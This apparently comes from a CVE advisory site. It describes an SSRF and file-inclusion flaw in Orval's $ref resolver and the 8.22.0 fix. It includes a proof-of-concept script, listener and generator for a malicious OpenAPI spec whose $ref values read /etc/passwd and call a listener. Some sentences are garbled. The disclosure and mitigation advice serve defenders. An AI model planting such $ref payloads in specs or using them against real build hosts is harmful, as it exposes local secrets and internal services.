Listen to this Post
Orval is a TypeScript client generator that processes OpenAPI v3 and Swagger v2 specifications to produce type‑safe API clients. Prior to version 8.22.0, Orval’s `$ref` resolver—the component responsible for handling `$ref` pointers that reference external schemas—operated without any restrictions. When Orval encounters a `$ref` in an OpenAPI specification, it attempts to resolve that reference by fetching remote HTTP(S) URLs or reading local files from the filesystem. This behavior is implemented in packages/orval/src/import‑specs.ts.
The vulnerability manifests in three distinct ways. First, an attacker can supply a `$ref` pointing to an attacker‑controlled or internal HTTP endpoint, such as http://attacker/internal‑evil.json/`. When Orval processes this specification, the build host—whether a developer’s workstation or a CI pipeline—will issue an HTTP request to that URL. This is a classic Server‑Side Request Forgery (SSRF) (CWE‑918), which can be used to probe internal services, access metadata endpoints, or exfiltrate data. Second, the same `$ref` mechanism allows remote file inclusion (RFI): the content fetched from the remote URL is inlined into the generated client, meaning untrusted remote schemas become part of the output. Third, Orval resolves local file paths without confinement to the input directory. A `$ref` such as `/abs/path.json/` or `../../secret.json/` will cause Orval to read and inline arbitrary files from outside the intended directory tree. This leads to Local File Inclusion (LFI) and path traversal (CWE‑22)./
On version 8.19.0, the chain stops at SSRF + RFI + LFI because the description JSDoc is escaped (→\ /), preventing the inlined content from breaking out into executable code. However, the information disclosure remains severe: arbitrary local files—such as configuration files, environment variables, or source code—can be read, and internal network services can be scanned or interacted with. The vulnerability requires no elevated privileges and is triggered during normal generator execution. It is distinct from Orval’s previously published output‑injection CVEs (CVE‑2026‑22785, CVE‑2026‑23947, CVE‑2026‑24132, CVE‑2026‑25141), none of which cover the `$ref` resolver. The fix, implemented in version 8.22.0, disables remote `$ref` resolution by default (requiring opt‑in with a host allowlist) and confines local `$ref` resolution to the input directory tree, rejecting absolute paths and `../` escapes.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Orval
Version: < 8.22.0
Vulnerability: SSRF+RFI+LFI
Severity: High (7.1 CVSS)
date: 2026-08-19
<h2 style="color: blue;">Prediction: 2026-08-19 (fixed in 8.22.0)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
The following artifacts demonstrate the vulnerability on Orval 8.19.0.
reproduce.sh - Confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined) !/bin/bash Run a simple HTTP listener to capture SSRF requests python3 -m http.server 8080 & LISTENER_PID=$! Generate a malicious OpenAPI spec with remote $ref python3 make_spec.py > malicious.yaml Run Orval against the malicious spec npx orval --input malicious.yaml --output ./generated Check generated client for inlined remote property (RFI confirmation) grep -r "REMOTE_ORVAL_PROP" ./generated/ Clean up kill $LISTENER_PID
listener.py - Simple HTTP server to log SSRF requests
from http.server import HTTPServer, BaseHTTPRequestHandler
class LogHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[bash] Received request: {self.path}")
self.send_response(200)
self.end_headers()
self.wfile.write(b'{"REMOTE_ORVAL_PROP": "injected"}')
HTTPServer(("0.0.0.0", 8080), LogHandler).serve_forever()
make_spec.py - Generates an OpenAPI spec with malicious $ref pointers
openapi = {
"openapi": "3.0.0",
"info": {"": "Malicious", "version": "1.0.0"},
"components": {
"schemas": {
"Evil": {
"allOf": [
{"$ref": "http://localhost:8080/internal-evil.json/"},
{"$ref": "/etc/passwd/"}
]
}
}
}
}
import json
print(json.dumps(openapi, indent=2))
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
To exploit CVE‑2026‑62680, an attacker must supply an OpenAPI specification containing crafted `$ref` values to a victim who runs Orval against it. Common attack vectors include:
- Public repositories where a malicious Pull Request introduces a modified OpenAPI file.
- Third‑party API specifications sourced from untrusted origins.
- Supply‑chain scenarios where a dependency delivers a poisoned OpenAPI description.
Once the victim executesnpx orval –input malicious.yaml, the build host will:$ref
1. Fetch the remote URL specified in the, enabling SSRF into internal networks.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N`.
2. Inline the remote schema into the generated client (RFI).
3. Read and inline absolute or out‑of‑tree local files (LFI).
No code execution is achieved on 8.19.0 due to the JSDoc escaping fix, but sensitive data exposure is immediate and requires no user interaction beyond running the generator.
<h2 style="color: blue;">Protection:</h2>
- Upgrade to Orval version 8.22.0 or later, which contains the official fix.
- Audit all OpenAPI specifications for external `$ref` entries and ensure they originate from trusted sources.
- Restrict outbound network traffic from CI environments or run Orval in a sandboxed context to mitigate SSRF exposure.
- As a temporary workaround, avoid using remote `$ref` references and ensure all local `$ref` paths are confined to the intended directory structure, rejecting absolute paths and `../` sequences.
<h2 style="color: blue;">Impact:</h2>
Build‑time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content—all stemming from running the generator on an attacker‑controlled or attacker‑influenced OpenAPI description. No code execution is possible (output escaping is in place following earlier fixes), but the exposure of internal services, configuration files, and secrets can lead to further compromise. The CVSS base score is 7.1 (High) with the vector
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
